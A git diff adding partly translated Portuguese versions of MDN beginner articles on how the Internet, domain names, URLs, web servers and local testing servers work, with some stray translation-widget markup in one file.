The history of the Internet is somewhat obscure. It began in the 1960s as a US-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. The various technologies that support the Internet have evolved over time, but the way it works hasn't changed that much: Internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected.

+ +

Active Learning

+ + + +

Deeper dive

+ +

A simple network

+ +

When two computers need to communicate, you have to link them, either physically (usually with an Ethernet cable) or wirelessly (for example with WiFi or Bluetooth systems). All modern computers can sustain any of those connections.

+ +
+

Note: For the rest of this article, we will only talk about physical cables, but wireless networks work the same.

+
+ +

Two computers linked together

+ +

Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!

+ +

Ten computers all together

+ +

To solve this problem, each computer on a network is connected to a special tiny computer called a router. This router has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.

+ +

Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.

+ +

Ten computers with a router

+ +

A rede das redes

+ +

So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single router can't scale that far, but, if you read carefully, we said that a router is a computer like any other, so what keeps us from connecting two routers together? Nothing, so let's do that.

+ +

Two routers linked together

+ +

By connecting computers to routers, then routers to routers, we are able to scale infinitely.

+ +

Routers linked to routers

+ +

Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a modem. This modem turns the information from our network into information manageable by the telephone infrastructure and vice versa.

+ +

A router linked to a modem

+ +

So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special routers that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.

+ +

Full Internet stack

+ +

Encontrar computadores

+ +

If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for Internet Protocol). It's an address made of a series of four numbers separated by dots, for example: 192.168.2.10.

+ +

That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a domain name. For example (at the time of writing; IP addresses can change) google.com is the domain name used on top of the IP address 173.194.121.32. So using the domain name is the easiest way for us to reach a computer over the Internet.

+ +

Show how a domain name can alias an IP address

+ +

Internet e a Web

+ +

As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called Web servers) can send messages intelligible to web browsers. The Internet is an infrastructure, whereas the Web is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and {{Glossary("IRC")}}.

+ +

Passos seguintes

+ + diff --git a/files/pt-pt/learn/common_questions/index.html b/files/pt-pt/learn/common_questions/index.html new file mode 100644 index 0000000000..62deec5d05 --- /dev/null +++ b/files/pt-pt/learn/common_questions/index.html @@ -0,0 +1,131 @@ +--- +title: Questões Comuns +slug: Learn/Questoes_comuns +translation_of: Learn/Common_questions +--- +
{{LearnSidebar}}
+ +

This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the HTML or CSS learning articles.) These articles are designed to work on their own.

+ +

Como é que a Web funciona

+ +

This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.

+ +
+
+

Como é que a Internet funciona?

+
+
The Internet is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.
+
+

Qual é a diferença entre página da Web, site da Web, servidor da Web, e motor de pesquisa?

+
+
In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!
+
+

O que é um URL?

+
+
With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.
+
+

O que é um nome de domínio?

+
+
Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.
+
+

O que é um servidor da Web?

+
+
The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.
+
+

O que são hiperligações?

+
+
In this article, we'll go over what hyperlinks are and why they matter.
+
+ +

Ferramentas e configuração

+ +

Questions related to the tools/software you can use to build websites.

+ +
+
+

How much does it cost to do something on the Web?

+
+
When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).
+
+

What software do I need to build a website?

+
+
In this article we explain which software components you need when you're editing, uploading, or viewing a website.
+
+

What text editors are available?

+
+
In this article we highlight some things to think about when choosing and installing a text editor for web development.
+
+

How do I set up a basic working environment?

+
+
When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.
+
+

What are browser developer tools?

+
+
Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.
+
+

How do you make sure your website works properly?

+
+
So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.
+
+

How do you set up a local testing server?

+
+
+
+

This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.

+
+
+
+

How do you upload files to a web server?

+
+
This article shows how to publish your site online with FTP tools — one fo the most common ways to get a website online so others can access it from their computers.
+
+

How do I use GitHub Pages?

+
+
This article provides a basic guide to publishing content using GitHub's gh-pages feature.
+
+

How do you host your website on Google App Engine?

+
+
Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.
+
+

What tools are available to debug and improve website performance?

+
+
This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.
+
+ +

Desenho e acessibilidade

+ +

This section lists questions related to aesthetics, page structure, accessibility techniques, etc.

+ +
+
+

How do I start to design my website?

+
+
This article covers the all-important first step of every project: define what you want to accomplish with it.
+
+

What do common web layouts contain?

+
+
When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.
+
+

What is accessibility?

+
+
This article introduces the basic concepts behind web accessibility.
+
+

How can we design for all types of users?

+
+
This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.
+
+

What HTML features promote accessibility?

+
+
This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.
+
+ +

Questões sobre HTML, CSS e JavaScript

+ +

Para soluções comuns para problemas de HTML/CSS/JavaScript, tente os seguintes artigos:

+ + diff --git a/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html new file mode 100644 index 0000000000..97655e6edf --- /dev/null +++ b/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -0,0 +1,122 @@ +--- +title: >- + Qual é a diferença entre página da Web, site da Web, servidor da Web e + mecanismo de pesquisa? +slug: >- + Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa +tags: + - Mecânica da Web + - Principiante +translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines +--- +
+

In this article, we describe various web-related concepts: web pages, websites, web servers, and search engines. These terms are often confused by newcomers to the web or are incorrectly used. Let's learn what they each mean!

+
+ + + + + + + + + + + + +
Prerequisites:You should know how the Internet works.
Objective:Be able to describe the differences between a web page, a website, a web server, and a search engine.
+ +

Resumo

+ +

As with any area of knowledge, the web comes with a lot of jargon. Don't worry, we won't overwhelm you with all of it (we have a glossary if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. It's easy to confuse these terms sometimes since they refer to related but different functionalities. In fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!

+ +

We'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you:

+ +
+
web page
+
A document which can be displayed in a web browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages."
+
website
+
A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site."
+
web server
+
A computer that hosts a website on the Internet.
+
search engine
+
A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. bing.com or duckduckgo.com).
+
+ +

Let's look at a simple analogy — a public library. This is what you would generally do when visiting a library:

+ +
    +
  1. Find a search index and look for the title of the book you want.
  2. +
  3. Make a note of the catalog number of the book.
  4. +
  5. Go to the particular section containing the book, find the right catalog number, and get the book.
  6. +
+ +

Let's compare the library with a web server:

+ + + +

Active learning

+ +

There is no active learning available yet. Please, consider contributing.

+ +

Deeper dive

+ +

So, let's dig deeper into how those four terms are related and why they are sometimes confused with each other.

+ +

Página da Web

+ +

A web page is a simple document displayable by a {{Glossary("browser")}}. Such documents are written in the {{Glossary("HTML")}} language (which we look into in more detail in other articles). A web page can embed a variety of different types of resources such as:

+ + + +
+

Note: Browsers can also display other documents such as {{Glossary("PDF")}} files or images, but the term web page specifically refers to HTML documents. Otherwise, we only use the term document.

+
+ +

All web pages available on the web are reachable through a unique address. To access a page, just type its address in your browser address bar:

+ +

Example of a web page address in the browser address bar

+ +

Sites da Web

+ +

A website is a collection of linked web pages (plus their associated resources) that share a unique domain name. Each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move from one page of the website to another.

+ +

To access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or homepage (casually referred as "the home"):

+ +

Example of a web site domain name in the browser address bar

+ +

The ideas of a web page and a website are especially easy to confuse for a website that contains only one web page. Such a website is sometimes called a single-page website.

+ +

Servidor da Web

+ +

A web server is a computer hosting one or more websites. "Hosting" means that all the web pages and their supporting files are available on that computer. The web server will send any web page from the website it is hosting to any user's browser, per user request.

+ +

Don't confuse websites and web servers. For example, if you hear someone say, "My website is not responding", it actually means that the web server is not responding and therefore the website is not available. More importantly, since a web server can host multiple websites, the term web server is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available.

+ +

Mecanismo de Pesquisa

+ +

Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from other websites.

+ +

There are plenty out there: Google, Bing, Yandex, DuckDuckGo, and many more. Some are generic, some are specialized about certain topics. Use whichever you prefer.

+ +

Many beginners on the web confuse search engines and browsers. Let's make it clear: A browser is a piece of software that retrieves and displays web pages; a search engine is a website that helps people find web pages from other websites. The confusion arises because, the first time someone launches a browser, the browser displays a search engine's homepage. This makes sense, because, obviously, the first thing you want to do with a browser is to find a web page to display. Don't confuse the infrastructure (e.g., the browser) with the service (e.g., the search engine). The distinction will help you quite a bit, but even some professionals speak loosely, so don't feel anxious about it.

+ +

Here is an instance of Firefox showing a Google search box as its default startup page:

+ +

Example of Firefox nightly displaying a custom Google page as default

+ +

Passos Seguintes

+ + diff --git a/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html b/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html new file mode 100644 index 0000000000..389407247d --- /dev/null +++ b/files/pt-pt/learn/common_questions/set_up_a_local_testing_server/index.html @@ -0,0 +1,182 @@ +--- +title: Como configurar um servidor local de testes? +slug: Learn/Questoes_comuns/Congiurar_um_servidor_de_testes_local +tags: + - Aprender + - Nodo + - PHP + - Principiante + - Python + - django + - servidores +translation_of: Learn/Common_questions/set_up_a_local_testing_server +--- +
+

Este artigo explica como configurar um servidor de testes local simples  na sua máquina, e como o utilizar.

+
+ + + + + + + + + + + + +
Pré-requisitos:pprimeiro, precisa de saber como é que a Internet funciona, e o que é um servidor da Web.
Objetivo:You will learn how to set up a local testing server.
+ +

Ficheiros locais vs. ficheiros remotos

+ +

Throughout most of the learning area, we tell you to just open your examples directly in a browser — this can be done by double clicking the HTML file, dragging and dropping it into the browser window, or choosing File > Open... and navigating to the HTML file. There are many ways to achieve this.

+ +

If the web address path starts with file:// followed by the path to the file on your local hard drive, a local file is being used. In contrast, if you view one of our examples hosted on GitHub (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received via HTTP.

+ +

O problema com o teste de ficheiros locais

+ +

Some examples won't run if you open them as local files. This can be due to a variety of reasons, the most likely being:

+ + + +

Executar um servidor um servidor local de HTTP simples

+ +

To get around the problem of async requests, we need to test such examples by running them through a local web server. One of the easiest ways to do this for our purposes is to use Python's SimpleHTTPServer module.

+ +

To do this:

+ +
    +
  1. +

    Install Python. If you are using Linux or Mac OS X, it should be available on your system already. If you are a Windows user, you can get an installer from the Python homepage and follow the instructions to install it:

    + +
      +
    • Go to python.org
    • +
    • Under the Download section, click the link for Python "3.xxx".
    • +
    • At the bottom of the page, choose the Windows x86 executable installer and download it.
    • +
    • When it has downloaded, run it.
    • +
    • On the first installer page, make sure you check the "Add Python 3.xxx to PATH" checkbox.
    • +
    • Click Install, then click Close when the installation has finished.
    • +
    +
  2. +
  3. +

    Open your command prompt (Windows)/terminal (OS X/Linux). To check Python is installed, enter the following command:

    + +
    python -V
    +
  4. +
  5. +

    This should return a version number. If this is OK, navigate to the directory that your example is inside, using the cd command.

    + +
    # include the directory name to enter it, for example
    +cd Desktop
    +# use two dots to jump up one directory level if you need to
    +cd ..
    +
  6. +
  7. +

    Enter the command to start up the server in that directory:

    + +
    # If Python version returned above is 3.X
    +python -m http.server
    +# If Python version returned above is 2.X
    +python -m SimpleHTTPServer
    +
  8. +
  9. +

    By default, this will run the contents of the directory on a local web server, on port 8000. You can go to this server by going to the URL localhost:8000 in your web browser. Here you'll see the contents of the directory listed — click the HTML file you want to run.

    +
  10. +
+ +
+

Note: If you already have something running on port 8000, you can choose another port by running the server command followed by an alternative port number, e.g. python -m http.server 7800 (Python 3.x) or python -m SimpleHTTPServer 7800 (Python 2.x). You can then access your content at localhost:7800.

+
+ +

Running server-side languages locally

+ +

Python's SimpleHTTPServer module is useful, but it doesn't know how to run code written in languages such as PHP or Python. To handle that you'll need something more — exactly what you'll need depends on the server-side language you are trying to run. Here are a few examples:

+ + + +
+ + + + +
+
+
 
+ +
+
G
+ +
M
+ +
T
+
+ +
+
 
+ +
 
+
+ +
+ + + + + + + + + + + + +
+
 
+
+
 
+
+
 
+
+
 
+ +
 
+
+
 
+
+
 
+
+
+
+ +
 
+ +
 
+ +
 
+ +
A função de fala é limitada a 200 caracteres
+ +
+
 
+ + + + + + + + +
+
 
+
Opções : Histórico : Comentários : DonateEncerrar
+
+
+
diff --git a/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html b/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html new file mode 100644 index 0000000000..b490ab9789 --- /dev/null +++ b/files/pt-pt/learn/common_questions/what_is_a_domain_name/index.html @@ -0,0 +1,234 @@ +--- +title: O que é um nome de domíno? +slug: Learn/Questoes_comuns/O_que_e_um_nome_de_dominio +tags: + - Infraestrutura + - Introdução + - Nomes de domínio + - Principiante + - Web +translation_of: Learn/Common_questions/What_is_a_domain_name +--- +
+

In this article we discuss domain names: what they are, how they are structured, and how to get one.

+
+ + + + + + + + + + + + +
Pré-requisitos:First you need to know how the Internet works and understand what URLs are.
Objetivo:Learn what domain names are, how they work, and why they are important.
+ +

Resumo

+ +

Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.

+ +

Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., 173.194.121.32) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.

+ +

Aprendizagem Ativa

+ +

There is no active learning available yet. Please, consider contributing.

+ +

Deeper dive

+ +

Estrutura dos nomes de domínio

+ +

A domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left:

+ +

Anatomy of the MDN domain name

+ +

Each of those  parts provides specific information about the whole domain name.

+ +
+
{{Glossary("TLD")}} (Top-Level Domain).
+
The TLD provides the most generic information. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.
+
Label (or component)
+
The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a Secondary Level Domain (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. mozilla.org), one can create other domain names (sometimes called "subdomains") (e.g. developer.mozilla.org).
+
+ +

Comprar um nome de domínio

+ +

Who owns a domain name?

+ +

You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.

+ +

Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.

+ +
+

Nota : For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.

+
+ +

Encontrar um nome de domínio disponível

+ +

To find out whether a given domain name is available,

+ + + +
$ whois mozilla.org
+Domain Name:MOZILLA.ORG
+Domain ID: D1409563-LROR
+Creation Date: 1998-01-24T05:00:00Z
+Updated Date: 2013-12-08T01:16:57Z
+Registry Expiry Date: 2015-01-23T05:00:00Z
+Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
+Sponsoring Registrar IANA ID: 292
+WHOIS Server:
+Referral URL:
+Domain Status: clientDeleteProhibited
+Domain Status: clientTransferProhibited
+Domain Status: clientUpdateProhibited
+Registrant ID:mmr-33684
+Registrant Name:DNS Admin
+Registrant Organization:Mozilla Foundation
+Registrant Street: 650 Castro St Ste 300
+Registrant City:Mountain View
+Registrant State/Province:CA
+Registrant Postal Code:94041
+Registrant Country:US
+Registrant Phone:+1.6509030800
+
+ +

As you can see, I can't register mozilla.org because the Mozilla Foundation has already registered it.

+ +

On the other hand, let's see if I could register afunkydomainname.org:

+ +
$ whois afunkydomainname.org
+NOT FOUND
+
+ +

As you can see, the domain does not exist in the whois database (at the time of writing), so we could ask to register it. Good to know!

+ +

Obter um nome de domínio

+ +

The process is quite straightforward:

+ +
    +
  1. Go to a registrar's website.
  2. +
  3. Usually there is a prominent “Get a domain name” call to action. Click on it.
  4. +
  5. Fill out the form with all required details. Make sure especially that you have not misspelled your desired domain name. Once it's paid for, it's too late!
  6. +
  7. The registrar will let you know when the domain name is properly registered. Within a few hours, all DNS servers will have received your DNS information.
  8. +
+ +
+

Nota: In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.

+
+ +

Atualizar DNS

+ +

DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.

+ +
+

Nota : This time is often called propagation time. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.

+
+ +

Como funciona um pedido de DNS?

+ +

As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:

+ +
    +
  1. Type mozilla.org in your browser's location bar.
  2. +
  3. Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.
  4. +
  5. If your computer does not know which IP is behind the mozilla.org name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.
  6. +
  7. Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.
  8. +
+ +

Explanation of the steps needed to obtain the result to a DNS request

+ +

Passos seguintes

+ +

Okay, we talked a lot about processes and architecture. Time to move on.

+ + + +
+ + + + + +
diff --git a/files/pt-pt/learn/common_questions/what_is_a_url/index.html b/files/pt-pt/learn/common_questions/what_is_a_url/index.html new file mode 100644 index 0000000000..b61a73433e --- /dev/null +++ b/files/pt-pt/learn/common_questions/what_is_a_url/index.html @@ -0,0 +1,231 @@ +--- +title: O que é um URL? +slug: Learn/Questoes_comuns/O_que_e_um_URL +tags: + - Infraestrutura + - Principiante + - URL +translation_of: Learn/Common_questions/What_is_a_URL +--- +
+

This article discusses Uniform Resource Locators (URLs), explaining what they are and how they're structured.

+
+ + + + + + + + + + + + +
Prerequisites:You need to first know how the Internet works, what a Web server is and the concepts behind links on the web.
Objective:You will learn what a URL is and how it works on the Web.
+ +

Resumo

+ +

With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.

+ +

URL stands for Uniform Resource Locator. A URL is nothing more than the address of a given unique resource on the Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the Web server, it is up to the owner of the web server to carefully manage that resource and its associated URL.

+ +

Aprendizagem Ativa

+ +

There is no active learning available yet. Please, consider contributing.

+ +

Deeper dive

+ +

Basics: anatomy of a URL

+ +

Here are some examples of URLs:

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL
+ +

Any of those URLs can be typed into your browser's address bar to tell it to load the associated page (resource).

+ +

A URL is composed of different parts, some mandatory and others optional. Let's see the most important parts using the following URL:

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +
+
Protocol
+
http:// is the protocol. It indicates which protocol the browser must use. Usually it is the HTTP protocol or its secured version, HTTPS. The Web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols.
+
Domaine Name
+
www.example.com is the domain name. It indicates which Web server is being requested. Alternatively, it is possible to directly use an {{Glossary("IP address")}}, but because it is less convenient, it is not often used on the Web.
+
Port
+
:80 is the port. It indicates the technical "gate" used to access the resources on the web server. It is usually omitted if the web server uses the standard ports of the HTTP protocol (80 for HTTP and 443 for HTTPS) to grant access to its resources. Otherwise it is mandatory.
+
Path to the file
+
/path/to/myfile.html is the path to the resource on the Web server. In the early days of the Web, a path like this represented a physical file location on the Web server. Nowadays, it is mostly an abstraction handled by Web servers without any physical reality.
+
Parameters
+
?key1=value1&key2=value2 are extra parameters provided to the Web server. Those parameters are a list of key/value pairs separated with the & symbol. The Web server can use those parameters to do extra stuff before returning the resource. Each Web server has its own rules regarding parameters, and the only reliable way to know if a specific Web server is handling parameters is by asking the Web server owner.
+
Anchor
+
#SomewhereInTheDocument is an anchor to another part of the resource itself. An anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot. On an HTML document, for example, the browser will scroll to the point where the anchor is defined; on a video or audio document, the browser will try to go to the time the anchor represents. It is worth noting that the part after the #, also known as the fragment identifier, is never sent to the server with the request.
+
+ +

{{Note('There are some extra parts and some extra rules regarding URLs, but they are not relevant for regular users or Web developers. Don\'t worry about this, you don\'t need to know them to build and use fully functional URLs.')}}

+ +

You might think of a URL like a regular postal mail address: the protocol represents the postal service you want to use, the domain name is the city or town,  and the port is like the zip code; the path represents the building where your mail should be delivered; the parameters represent extra information such as the number of the apartment in the building; and, finally, the anchor represents the actual person to whom you've addressed your mail.

+ +

Como utilizar os URLs

+ +

Any URL can be typed right inside the browser's address bar to get to the resource behind it. But this is only the tip of the iceberg!

+ +

The {{Glossary("HTML")}} language — which will be discussed later on — makes extensive use of URLs:

+ + + +

Other technologies, such as {{Glossary("CSS")}} or {{Glossary("JavaScript")}}, use URLs extensively, and these are really the heart of the Web.

+ +

URLs absolutos vs URLs relativos

+ +

What we saw above is called an absolute URL, but there is also something called a relative URL. Let's examine what that distinction means in more detail.

+ +

The required parts of a URL depend to a great extent on the context in which the URL is used. In your browser's address bar, a URL doesn't have any context, so you must provide a full (or absolute) URL, like the ones we saw above. You don't need to include the protocol (the browser uses HTTP by default) or the port (which is only required when the targeted Web server is using some unusual port), but all the other parts of the URL are necessary.

+ +

When a URL is used within a document, such as in an HTML page,  things are a bit different. Because the browser already has the document's own URL, it can use this information to fill in the missing parts of any URL available inside that document. We can differentiate between an absolute URL and a relative URL by looking only at the path part of the URL. If the path part of the URL starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document.

+ +

Let's look at some examples to make this clearer.

+ +

Exemplos de URLs absolutos

+ +
+
Full URL (the same as the one we used before)
+
+
https://developer.mozilla.org/en-US/docs/Learn
+
+
Implicit protocol
+
+
//developer.mozilla.org/en-US/docs/Learn
+ +

In this case, the browser will call that URL with the same protocol as the the one used to load the document hosting that URL.

+
+
Implicit domain name
+
+
/en-US/docs/Learn
+ +

This is the most common use case for an absolute URL within an HTML document. The browser will use the same protocol and the same domain name as the one used to load the document hosting that URL. Note: it isn't possible to omit the domain name without omitting the protocol as well.

+
+
+ +

Exemplos de URLs relativos

+ +

To better understand the following examples, let's assume that the URLs are called from within the document located at the following URL: https://developer.mozilla.org/en-US/docs/Learn

+ +
+
Sub-resources
+
+
Skills/Infrastructure/Understanding_URLs
+
+ Because that URL does not start with /, the browser will attempt to find the document in a sub-directory of the one containing the current resource. So in this example,  we really want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs
+
Going back in the directory tree
+
+
../CSS/display
+ +

In this case, we use the ../ writing convention — inherited from the UNIX file system world — to tell the browser we want to go up from one directory. Here we want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/../CSS/display, which can be simplified to: https://developer.mozilla.org/en-US/docs/CSS/display

+
+
+ +

URLs semânticos

+ +

Despite their very technical flavor, URLs represent a human-readable entry point for a Web site. They can be memorized, and anyone can enter them into a browser's address bar. People are at the core of the Web, and so it is considered best practice to build what is called semantic URLs.  Semantic URLs  use words with inherent meaning that can be understood by anyone, regardless of their technical know-how.

+ +

Linguistic semantics are of course irrelevant to computers. You've probably often seen URLs that look like mashups of random characters. But there are many advantages  to creating human-readable URLs:

+ + + +

Passos seguintes

+ + + +
+ + + + + +
diff --git a/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html b/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html new file mode 100644 index 0000000000..a91ef08d6c --- /dev/null +++ b/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html @@ -0,0 +1,198 @@ +--- +title: O que é um servidor da Web? +slug: Learn/Questoes_comuns/O_que_e_um_servidor_da_Web +tags: + - Infraestrutura + - Principiante +translation_of: Learn/Common_questions/What_is_a_web_server +--- +
+

Neste artigo, nós examinamos quais são os servidores da Web, como é que estes funcionam, e por que é que eles são importantes.

+
+ + + + + + + + + + + + +
Pré-requisitos:You should already know how the Internet works, and understand the difference between a web page, a web site, a web server and a search engine.
Objetivo:You will learn what a web server is and gain a general understanding of how it works.
+ +

Resumo

+ +

"Web server" can refer to hardware or software, or both of them working together.

+ +
    +
  1. On the hardware side, a web server is a computer that stores a website's component files (e.g. HTML documents, images, CSS stylesheets, and JavaScript files) and delivers them to the end-user's device. It is connected to the Internet and can be accessed through a domain name like mozilla.org.
  2. +
  3. On the software side, a web server includes several parts that control how web users access hosted files, at minimum an HTTP server. An HTTP server is a piece of software that understands {{Glossary("URL","URLs")}} (web addresses) and {{Glossary("HTTP")}} (the protocol your browser uses to view webpages).
  4. +
+ +

At the most basic level, whenever a browser needs a file hosted on a web server, the browser requests the file via HTTP. When the request reaches the correct web server (hardware), the HTTP server (software) sends the requested document back, also through HTTP.

+ +

Basic representation of a client/server connection through HTTP

+ +

To publish a website, you need either a static or a dynamic web server.

+ +

A static web server, or stack, consists of a computer (hardware) with an HTTP server (software). We call it "static" because the server sends its hosted files "as-is" to your browser.

+ +

A dynamic web server consists of a static web server plus extra software, most commonly an application server and a database. We call it "dynamic" because the application server updates the hosted files before sending them to your browser via the HTTP server.

+ +

For example, to produce the final webpages you see in the browser, the application server might fill an HTML template with contents from a database. Sites like MDN or Wikipedia have many thousands of webpages, but they aren't real HTML documents, only a few HTML templates and a giant database. This setup makes it easier and quicker to maintain and deliver the content.

+ +

Aprendizagem ativa

+ +

Ainda não está disponível nenhuma aprendizagem ativa. Por favor, considere contribuir.

+ +

Deeper dive

+ +

To fetch a webpage, as we already said, your browser sends a request to the web server, which proceeds to search for the requested file in its own storage space. On finding the file, the server reads it, processes it as needed, and sends it to the browser. Let's look at those steps in more detail.

+ +

Hosting files

+ +

A web server first has to store the website's files, namely all HTML documents and their related assets, including images, CSS stylesheets, JavaScript files, fonts, and videos.

+ +

Technically, you could host all those files on your own computer, but it's far more convenient to store them all on a dedicated web server that

+ + + +

